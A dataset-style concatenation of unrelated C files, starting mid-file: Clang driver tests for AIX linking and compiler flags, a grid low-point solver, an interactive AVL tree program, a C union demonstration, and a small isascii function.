2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nostdlib \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-NOSTDLIB-LCXX %s // CHECK-LD32-NOSTDLIB-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-NOSTDLIB-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-NOSTDLIB-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-NOSTDLIB-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-NOSTDLIB-LCXX: "-b32" // CHECK-LD32-NOSTDLIB-LCXX: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-NOSTDLIB-LCXX-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-NOSTDLIB-LCXX-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-NOSTDLIB-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-NOSTDLIB-LCXX-NOT: "-lc++" // CHECK-LD32-NOSTDLIB-LCXX-NOT: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-NOSTDLIB-LCXX-NOT: "-lm" // CHECK-LD32-NOSTDLIB-LCXX-NOT: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. -nostdlib. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nostdlib \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD64-NOSTDLIB-LCXX %s // CHECK-LD64-NOSTDLIB-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64-NOSTDLIB-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64-NOSTDLIB-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64-NOSTDLIB-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-NOSTDLIB-LCXX: "-b64" // CHECK-LD64-NOSTDLIB-LCXX: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64-NOSTDLIB-LCXX-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0_64.o" // CHECK-LD64-NOSTDLIB-LCXX-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64-NOSTDLIB-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-NOSTDLIB-LCXX-NOT: "-lc++" // CHECK-LD64-NOSTDLIB-LCXX-NOT: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-NOSTDLIB-LCXX-NOT: "-lm" // CHECK-LD64-NOSTDLIB-LCXX-NOT: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. -nostdlib++. // Note: crti is still linked for initialization/finalization functionality. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nostdlib++ \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-NOSTDLIBXX-LCXX %s // CHECK-LD32-NOSTDLIBXX-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-NOSTDLIBXX-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-NOSTDLIBXX-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-NOSTDLIBXX-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-NOSTDLIBXX-LCXX: "-b32" // CHECK-LD32-NOSTDLIBXX-LCXX: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-NOSTDLIBXX-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-NOSTDLIBXX-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-NOSTDLIBXX-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-NOSTDLIBXX-LCXX-NOT: "-lc++" // CHECK-LD32-NOSTDLIBXX-LCXX: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-NOSTDLIBXX-LCXX: "-lm" // CHECK-LD32-NOSTDLIBXX-LCXX: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. -nostdlib++. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nostdlib++ \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD64-NOSTDLIBXX-LCXX %s // CHECK-LD64-NOSTDLIBXX-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64-NOSTDLIBXX-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64-NOSTDLIBXX-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64-NOSTDLIBXX-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-NOSTDLIBXX-LCXX: "-b64" // CHECK-LD64-NOSTDLIBXX-LCXX: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64-NOSTDLIBXX-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0_64.o" // CHECK-LD64-NOSTDLIBXX-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64-NOSTDLIBXX-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-NOSTDLIBXX-LCXX-NOT: "-lc++" // CHECK-LD64-NOSTDLIBXX-LCXX: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-NOSTDLIBXX-LCXX: "-lm" // CHECK-LD64-NOSTDLIBXX-LCXX: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 32-bit. -nostartfiles. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nostartfiles \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-NOSTARTFILES-LCXX %s // CHECK-LD32-NOSTARTFILES-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-NOSTARTFILES-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-NOSTARTFILES-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-NOSTARTFILES-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-NOSTARTFILES-LCXX: "-b32" // CHECK-LD32-NOSTARTFILES-LCXX: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-NOSTARTFILES-LCXX-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-NOSTARTFILES-LCXX-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-NOSTARTFILES-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-NOSTARTFILES-LCXX: "-lc++" // CHECK-LD32-NOSTARTFILES-LCXX: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-NOSTARTFILES-LCXX: "-lm" // CHECK-LD32-NOSTARTFILES-LCXX: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. -nostartfiles. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nostartfiles \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-NOSTARTFILES-LCXX %s // CHECK-LD64-NOSTARTFILES-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64-NOSTARTFILES-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64-NOSTARTFILES-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64-NOSTARTFILES-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-NOSTARTFILES-LCXX: "-b64" // CHECK-LD64-NOSTARTFILES-LCXX: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64-NOSTARTFILES-LCXX-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0_64.o" // CHECK-LD64-NOSTARTFILES-LCXX-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64-NOSTARTFILES-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-NOSTARTFILES-LCXX: "-lc++" // CHECK-LD64-NOSTARTFILES-LCXX: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-NOSTARTFILES-LCXX: "-lm" // CHECK-LD64-NOSTARTFILES-LCXX: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. -stdlib=libstdc++ invokes fatal error. // RUN: not --crash %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: -stdlib=libstdc++ \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD-LIBSTDCXX %s // Check powerpc64-ibm-aix7.1.0.0, 64-bit. -stdlib=libstdc++ invokes fatal error. // RUN: not --crash %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: -stdlib=libstdc++ \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD-LIBSTDCXX %s // CHECK-LD-LIBSTDCXX: LLVM ERROR: linking libstdc++ unimplemented on AIX // Check powerpc64-ibm-aix7.1.0.0, 32-bit. -shared. // RUN: %clangxx -x c++ -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -shared \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-SHARED %s // CHECK-LD32-SHARED: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-SHARED: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-SHARED: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-SHARED: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-SHARED: "-bM:SRE" // CHECK-LD32-SHARED: "-bnoentry" // CHECK-LD32-SHARED: "-b32" // CHECK-LD32-SHARED: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-SHARED-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-SHARED-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-SHARED: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-SHARED: "-lc++" // CHECK-LD32-SHARED: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-SHARED: "-lm" // CHECK-LD32-SHARED: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. -shared. // RUN: %clangxx -x c++ -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -shared \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD64-SHARED %s // CHECK-LD64-SHARED: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64-SHARED: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64-SHARED: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64-SHARED: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-SHARED: "-bM:SRE" // CHECK-LD64-SHARED: "-bnoentry" // CHECK-LD64-SHARED: "-b64" // CHECK-LD64-SHARED: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64-SHARED-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0_64.o" // CHECK-LD64-SHARED-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64-SHARED: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-SHARED: "-lc++" // CHECK-LD64-SHARED: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-SHARED: "-lm" // CHECK-LD64-SHARED: "-lc"
the_stack_data/100139581.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #define BUFSIZE 1000 int findRiskLevelForGeneralCase(char **heightMap, int row, int col) { char current = heightMap[row][col]; char left = heightMap[row][col-1]; char right = heightMap[row][col+1]; char top = heightMap[row-1][col]; char bottom = heightMap[row+1][col]; if (current < left && current < right && current < top && current < bottom) { return current - '0' + 1; } else { return 0; } } int findRiskLevelForLeftCol(char **heightMap, int row, int col) { char current = heightMap[row][col]; char right = heightMap[row][col+1]; char top = heightMap[row-1][col]; char bottom = heightMap[row+1][col]; if (current < right && current < top && current < bottom) { return current - '0' + 1; } else { return 0; } } int findRiskLevelForRightCol(char **heightMap, int row, int col) { char current = heightMap[row][col]; char left = heightMap[row][col-1]; char top = heightMap[row-1][col]; char bottom = heightMap[row+1][col]; if (current < left && current < top && current < bottom) { return current - '0' + 1; } else { return 0; } } int findRiskLevelForTopRow(char **heightMap, int row, int col) { char current = heightMap[row][col]; char left = heightMap[row][col-1]; char right = heightMap[row][col+1]; char bottom = heightMap[row+1][col]; if (current < left && current < right && current < bottom) { return current - '0' + 1; } else { return 0; } } int findRiskLevelForBottomRow(char **heightMap, int row, int col) { char current = heightMap[row][col]; char left = heightMap[row][col-1]; char right = heightMap[row][col+1]; char top = heightMap[row-1][col]; if (current < left && current < right && current < top) { return current - '0' + 1; } else { return 0; } } int findRiskLevelForTopLeftEdge(char **heightMap, int row, int col) { char current = heightMap[row][col]; char right = heightMap[row][col+1]; char bottom = heightMap[row+1][col]; if (current < right && current < bottom) { return current - '0' + 1; } else { return 0; } } int findRiskLevelForTopRightEdge(char **heightMap, int row, int col) { char current = heightMap[row][col]; char left = heightMap[row][col-1]; char bottom = heightMap[row+1][col]; if (current < left && current < bottom) { return current - '0' + 1; } else { return 0; } } int findRiskLevelForBottomLeftEdge(char **heightMap, int row, int col) { char current = heightMap[row][col]; char right = heightMap[row][col+1]; char top = heightMap[row-1][col]; if (current < right && current < top) { return current - '0' + 1; } else { return 0; } } int findRiskLevelForBottomRightEdge(char **heightMap, int row, int col) { char current = heightMap[row][col]; char left = heightMap[row][col-1]; char top = heightMap[row-1][col]; if (current < left && current < top) { return current - '0' + 1; } else { return 0; } } int findSumOfRiskLevelsOfAllLowPoints(char **heightMap, int row, int col) { int sum = 0; for (int i = 0; i < row; i++) { for (int j = 0; j < col; j++) { if (i == 0 && j == 0) { sum += findRiskLevelForTopLeftEdge(heightMap, i, j); } else if (i == 0 && j == col-1) { sum += findRiskLevelForTopRightEdge(heightMap, i, j); } else if (i == 0) { sum += findRiskLevelForTopRow(heightMap, i, j); } else if (i == row-1 && j == 0) { sum += findRiskLevelForBottomLeftEdge(heightMap, i, j); } else if (i == row-1 && j == col-1) { sum += findRiskLevelForBottomRightEdge(heightMap, i, j); } else if (i == row-1) { sum += findRiskLevelForBottomRow(heightMap, i, j); } else if (j == 0) { sum += findRiskLevelForLeftCol(heightMap, i, j); } else if (j == col-1) { sum += findRiskLevelForRightCol(heightMap, i, j); } else { sum += findRiskLevelForGeneralCase(heightMap, i, j); } } } return sum; } int main(void) { FILE *input = fopen("day9.txt", "r"); if (!input) { perror("FileIOError"); exit(EXIT_FAILURE); } int col = 0; char *buf = malloc(BUFSIZE * sizeof(char)); if (fgets(buf, BUFSIZE, input) <= 0) { perror("FileIOError"); exit(EXIT_FAILURE); } rewind(input); for (char *bufReader = buf; *bufReader != '\n'; bufReader++) col++; int row = 0; while (fgets(buf, BUFSIZE, input) != 0) row++; rewind(input); char **heightMap = calloc(row, sizeof(char *)); for (int i = 0; i < row; i++) { heightMap[i] = malloc((col+1) * sizeof(char)); if (fscanf(input, "%s\n", heightMap[i]) != 1) { perror("FileIOError"); exit(EXIT_FAILURE); } } int sum = findSumOfRiskLevelsOfAllLowPoints(heightMap, row, col); printf("Sum = %d\n", sum); for (int i = 0; i < row; i++) free(heightMap[i]); free(heightMap); free(buf); fclose(input); exit(EXIT_SUCCESS); }
the_stack_data/110885.c
//AVL Tree insertion and Deletion. #include<stdio.h> #include<stdlib.h> struct AVLNode{ int value,height; struct AVLNode* left; struct AVLNode* right; }; int getHeight(struct AVLNode* r){ int htl,htr; if(r == NULL) return -1; else{ /* compute the depth of each subtree */ htl = getHeight(r->left); htr = getHeight(r->right); /* use the larger one */ return ((htl > htr)? htl : htr ) + 1; } } int getBalance(struct AVLNode* r){ return getHeight(r->left) - getHeight(r->right); } struct AVLNode* singleRotateLeft(struct AVLNode* p){ struct AVLNode* RC = p->right; p->right = RC->left ; RC->left = p; p->height = getHeight(p); RC->height = getHeight(p); return RC; } struct AVLNode* singleRotateRight(struct AVLNode* p){ struct AVLNode* LC = p->left; p->left = LC->right ; LC->right = p; p->height = getHeight(p); LC->height = getHeight(p); return LC; } struct AVLNode* doubleRotateLeftRight(struct AVLNode* p){ struct AVLNode * LC; LC = p->left; p->left = singleRotateLeft(p->left); p = singleRotateRight(p); return p; } struct AVLNode* doubleRotateRightLeft(struct AVLNode* p){ struct AVLNode * RC; RC = p->right; p->right = singleRotateRight(p->right); p = singleRotateLeft(p); return p; } struct AVLNode* findMin(struct AVLNode* ptr){ /* follow left branch */ while( ptr->left != NULL) ptr = ptr->left; return ptr; } struct AVLNode* insert_val(struct AVLNode* r,int val){ if(r == NULL){ struct AVLNode* newNode; newNode = (struct AVLNode*)malloc(sizeof(struct AVLNode)); if(newNode == NULL){ printf("Error in malloc\n"); return r; } newNode->value = val; newNode->height = 0; newNode->left = newNode->right = NULL; return newNode; } if(val < r->value){ r->left = insert_val(r->left,val); if(getBalance(r) == 2){ if(val < r->left->value) r = singleRotateRight(r); else r = doubleRotateLeftRight(r); } } else{//val >=r->value r->right = insert_val(r->right,val); if(getBalance(r) == -2){ if(val >= r->right->value) r = singleRotateLeft(r); else r = doubleRotateRightLeft(r); } } r->height = getHeight(r); return r; } struct AVLNode* delete(struct AVLNode* r,int val){ struct AVLNode* temp; int balance; if(r == NULL) return r; if(val < r->value) r->left = delete(r->left,val); else if(val > r->value) r->right = delete(r->right,val); else{ /*Here we don't have to write condition for 0 child.because conition for 1 child already return NULL to other.*/ if(r->left == NULL){ temp = r->right; free(r); r = temp; } else if(r->right == NULL){ temp = r->left; free(r); r = temp; } else{ // Node with 2 child deleted. temp = findMin(r->right); //get inOrderSuccessor r->value = temp->value; r->right = delete(r->right , temp->value); } /* This is only new part in BST */ if(r == NULL) return r; if(getBalance(r) == 2){ if(getBalance(r->left) >= 0)/* Left - Left*/ return singleRotateRight(r); else/* Left - Right */ return doubleRotateLeftRight(r); } if(getBalance(r) == -2){ if(getBalance(r->right) <= 0) /* Right - Right*/ return singleRotateLeft(r); else /* Right - Left */ return doubleRotateRightLeft(r); } r->height = getHeight(r); return r; } } void display(struct AVLNode* r){ if(r!= NULL){ display(r->left); printf("%d ",r->value); display(r->right); } } void main(){ int n,val; struct AVLNode* root = NULL; printf("Enter 1 for insert value:\n"); printf("Enter 2 for delete the value\n"); printf("Enter 3 for display the AVL tree in inorder:\n"); printf("enter 4 for EXIT:\n"); scanf("%d",&n); while(n!=4){ switch(n){ case 1: printf("Enter the value:\n"); scanf("%d",&val); root = insert_val(root,val); break; case 2: printf("Enter the value you want to deleted\n"); scanf("%d",&val); root = delete(root,val); break; case 3: printf("The inorder list of AVLTree is: \n"); display(root); printf("\n"); break; default: printf("Enter value between 1 to 4\n"); } printf("\nEnter 1)Insert 2)delete 3)display 4)Exit :\n"); scanf("%d",&n); } }
the_stack_data/90230.c
/* * Although used for coercion on more typesafe languages, unions in C have a * more profound role: They help create both a way to destructure data, and * create sort-of polymorphism. */ #include <stdio.h> #include <stdint.h> /* Coercion example: */ union float_internal_rep { int i32; float f32; }; /* Polymorphism example: */ enum typ { INT64, DOUBLE, CHAR8 }; struct poly { enum typ poly_t; union { long i64; double f64; char c8[8]; }; }; /* Destructure example */ union data { struct { unsigned byte0:8; unsigned byte1:8; unsigned byte2:8; unsigned byte3:8; }; unsigned bytes; }; void polymorphic(struct poly *); /* SEE below */ int main() { /* coercion */ /* XXX: UB: * C standard only defines accessing the most recently modified union * field; accessing any other field is undefined but compiler writers agree * that it's best used for coercion. */ union float_internal_rep f; f.f32 = 1.2345f; printf("0x%X\n", f.i32); /* XXX: UB */ /* polymorphism */ struct poly t; t.poly_t = INT64; t.i64 = 42L; polymorphic(&t); t.poly_t = CHAR8; t.c8[0] = 'H'; t.c8[1] = 'E'; t.c8[2] = 'L'; t.c8[3] = 'L'; t.c8[4] = 'O'; polymorphic(&t); /* deconstruction */ union data word; word.bytes = 0xdeadbeef; word.byte2 = 0xcc; printf("0x%X\n", word.bytes); return 0; } void polymorphic(struct poly *S) { switch (S->poly_t) { case INT64: printf("long! %ld\n", S->i64); break; case DOUBLE: printf("double! %lf\n", S->f64); break; case CHAR8: puts("char!"); puts(S->c8); break; } }
the_stack_data/206392076.c
/* * TransFig: Facility for Translating Fig code * Copyright (c) 1991 by Micah Beck * Parts Copyright (c) 1985-1988 by Supoj Sutanthavibul * Parts Copyright (c) 1989-2002 by Brian V. Smith * * Any party obtaining a copy of these files is granted, free of charge, a * full and unrestricted irrevocable, world-wide, paid up, royalty-free, * nonexclusive right and license to deal in this software and * documentation files (the "Software"), including without limitation the * rights to use, copy, modify, merge, publish and/or distribute copies of * the Software, and to permit persons who receive copies from any such * party to do so, with the only requirement being that this copyright * notice remain intact. * */ int isascii(int c) { return ((c & ~0x7f) == 0); }
the_stack_data/1268477.c
// REQUIRES: clang-driver // RUN: %clang -### -S -fasm -fblocks -fbuiltin -fno-math-errno -fcommon -fpascal-strings -fno-blocks -fno-builtin -fmath-errno -fno-common -fno-pascal-strings -fblocks -fbuiltin -fmath-errno -fcommon -fpascal-strings -fsplit-stack %s 2>&1 | FileCheck -check-prefix=CHECK-OPTIONS1 %s // RUN: %clang -### -S -fasm -fblocks -fbuiltin -fno-math-errno -fcommon -fpascal-strings -fno-asm -fno-blocks -fno-builtin -fmath-errno -fno-common -fno-pascal-strings -fno-show-source-location -fshort-enums %s 2>&1 | FileCheck -check-prefix=CHECK-OPTIONS2 %s // CHECK-OPTIONS1: -split-stacks // CHECK-OPTIONS1: -fgnu-keywords // CHECK-OPTIONS1: -fblocks // CHECK-OPTIONS1: -fpascal-strings // CHECK-OPTIONS2: -fmath-errno // CHECK-OPTIONS2: -fno-gnu-keywords // CHECK-OPTIONS2: -fno-builtin // CHECK-OPTIONS2: -fshort-enums // CHECK-OPTIONS2-NOT: -fcommon // CHECK-OPTIONS2: -fno-show-source-location // RUN: %clang -### -S -Wwrite-strings %s 2>&1 | FileCheck -check-prefix=WRITE-STRINGS1 %s // WRITE-STRINGS1: -fconst-strings // RUN: %clang -### -S -Wwrite-strings -Wno-write-strings %s 2>&1 | FileCheck -check-prefix=WRITE-STRINGS2 %s // WRITE-STRINGS2-NOT: -fconst-strings // RUN: %clang -### -S -Wwrite-strings -w %s 2>&1 | FileCheck -check-prefix=WRITE-STRINGS3 %s // WRITE-STRINGS3-NOT: -fconst-strings // RUN: %clang -### -x c++ -c %s 2>&1 | FileCheck -check-prefix=DEPRECATED-ON-CHECK %s // RUN: %clang -### -x c++ -c -Wdeprecated %s 2>&1 | FileCheck -check-prefix=DEPRECATED-ON-CHECK %s // RUN: %clang -### -x c++ -c -Wno-deprecated %s 2>&1 | FileCheck -check-prefix=DEPRECATED-OFF-CHECK %s // RUN: %clang -### -x c++ -c -Wno-deprecated -Wdeprecated %s 2>&1 | FileCheck -check-prefix=DEPRECATED-ON-CHECK %s // RUN: %clang -### -x c++ -c -w %s 2>&1 | FileCheck -check-prefix=DEPRECATED-ON-CHECK %s // RUN: %clang -### -c %s 2>&1 | FileCheck -check-prefix=DEPRECATED-OFF-CHECK %s // RUN: %clang -### -c -Wdeprecated %s 2>&1 | FileCheck -check-prefix=DEPRECATED-OFF-CHECK %s // DEPRECATED-ON-CHECK: -fdeprecated-macro // DEPRECATED-OFF-CHECK-NOT: -fdeprecated-macro // RUN: %clang -### -S -ffp-contract=fast %s 2>&1 | FileCheck -check-prefix=FP-CONTRACT-FAST-CHECK %s // RUN: %clang -### -S -ffast-math %s 2>&1 | FileCheck -check-prefix=FP-CONTRACT-FAST-CHECK %s // RUN: %clang -### -S -ffp-contract=off %s 2>&1 | FileCheck -check-prefix=FP-CONTRACT-OFF-CHECK %s // FP-CONTRACT-FAST-CHECK: -ffp-contract=fast // FP-CONTRACT-OFF-CHECK: -ffp-contract=off // RUN: %clang -### -S -funroll-loops %s 2>&1 | FileCheck -check-prefix=CHECK-UNROLL-LOOPS %s // RUN: %clang -### -S -fno-unroll-loops %s 2>&1 | FileCheck -check-prefix=CHECK-NO-UNROLL-LOOPS %s // RUN: %clang -### -S -fno-unroll-loops -funroll-loops %s 2>&1 | FileCheck -check-prefix=CHECK-UNROLL-LOOPS %s // RUN: %clang -### -S -funroll-loops -fno-unroll-loops %s 2>&1 | FileCheck -check-prefix=CHECK-NO-UNROLL-LOOPS %s // CHECK-UNROLL-LOOPS: "-funroll-loops" // CHECK-NO-UNROLL-LOOPS: "-fno-unroll-loops" // RUN: %clang -### -S -freroll-loops %s 2>&1 | FileCheck -check-prefix=CHECK-REROLL-LOOPS %s // RUN: %clang -### -S -fno-reroll-loops %s 2>&1 | FileCheck -check-prefix=CHECK-NO-REROLL-LOOPS %s // RUN: %clang -### -S -fno-reroll-loops -freroll-loops %s 2>&1 | FileCheck -check-prefix=CHECK-REROLL-LOOPS %s // RUN: %clang -### -S -freroll-loops -fno-reroll-loops %s 2>&1 | FileCheck -check-prefix=CHECK-NO-REROLL-LOOPS %s // CHECK-REROLL-LOOPS: "-freroll-loops" // CHECK-NO-REROLL-LOOPS-NOT: "-freroll-loops" // RUN: %clang -### -S -fprofile-sample-accurate %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-SAMPLE-ACCURATE %s // CHECK-PROFILE-SAMPLE-ACCURATE: "-fprofile-sample-accurate" // RUN: %clang -### -S -fprofile-sample-use=%S/Inputs/file.prof %s 2>&1 | FileCheck -check-prefix=CHECK-SAMPLE-PROFILE %s // CHECK-SAMPLE-PROFILE: "-fprofile-sample-use={{.*}}/file.prof" // RUN: %clang -### -S -fauto-profile=%S/Inputs/file.prof %s 2>&1 | FileCheck -check-prefix=CHECK-AUTO-PROFILE %s // CHECK-AUTO-PROFILE: "-fprofile-sample-use={{.*}}/file.prof" // RUN: %clang -### -S -fauto-profile=%S/Inputs/file.prof -fno-profile-sample-use %s 2>&1 | FileCheck -check-prefix=CHECK-NO-AUTO-PROFILE %s // RUN: %clang -### -S -fauto-profile=%S/Inputs/file.prof -fno-auto-profile %s 2>&1 | FileCheck -check-prefix=CHECK-NO-AUTO-PROFILE %s // CHECK-NO-AUTO-PROFILE-NOT: "-fprofile-sample-use={{.*}}/file.prof" // RUN: %clang -### -S -fauto-profile=%S/Inputs/file.prof -fno-profile-sample-use -fauto-profile %s 2>&1 | FileCheck -check-prefix=CHECK-AUTO-PROFILE %s // RUN: %clang -### -S -fauto-profile=%S/Inputs/file.prof -fno-auto-profile -fprofile-sample-use %s 2>&1 | FileCheck -check-prefix=CHECK-AUTO-PROFILE %s // RUN: %clang -### -S -fprofile-generate %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-GENERATE-LLVM %s // RUN: %clang -### -S -fprofile-instr-generate %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-GENERATE %s // RUN: %clang -### -S -fprofile-generate=/some/dir %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-GENERATE-DIR %s // RUN: 